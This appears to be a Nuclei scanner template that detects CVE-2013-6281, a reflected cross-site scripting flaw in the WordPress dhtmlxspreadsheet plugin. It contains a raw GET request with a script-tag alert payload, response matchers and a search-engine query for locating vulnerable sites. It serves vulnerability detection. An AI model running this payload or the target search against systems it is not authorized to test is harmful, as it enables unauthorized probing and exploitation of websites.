id: CVE-2013-6281

info:
  name: WordPress Spreadsheet - Cross-Site Scripting
  author: random-robbie
  severity: medium
  description: |
    WordPress Spreadsheet plugin contains a reflected cross-site scripting vulnerability in /dhtmlxspreadsheet/codebase/spreadsheet.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected WordPress site, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update the WordPress Spreadsheet plugin to the latest version, which includes proper input sanitization to mitigate the XSS vulnerability.
  reference:
    - https://wpscan.com/vulnerability/49785932-f4e0-4aaa-a86c-4017890227bf
    - https://wordpress.org/plugins/dhtmlxspreadsheet/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-6281
    - https://nvd.nist.gov/vuln/detail/CVE-2013-6281
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2013-6281
    cwe-id: CWE-79
    epss-score: 0.02858
    epss-percentile: 0.8645
    cpe: cpe:2.3:a:dhtmlx:dhtmlxspreadsheet:2.0:-:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dhtmlx
    product: dhtmlxspreadsheet
    framework: wordpress
    google-query: inurl:/wp-content/plugins/dhtmlxspreadsheet
  tags: cve2013,cve,wp,wpscan,wordpress,xss,wp-plugin,dhtmlx,vuln

http:
  - raw:
      - |
        GET /wp-content/plugins/dhtmlxspreadsheet/codebase/spreadsheet.php?page=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "page: '<script>alert(document.domain)</script>'"
          - "dhx_rel_path"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206230960f1923d39d6afb0c4ff1e35370028c643adfb19e35cda966b9c5e9ab780221009b9b11a8f3441a06eb1269387cf5b65aaf68a07610b0a44e2988917e5b076249:922c64590222798bb761d5b6d8e72950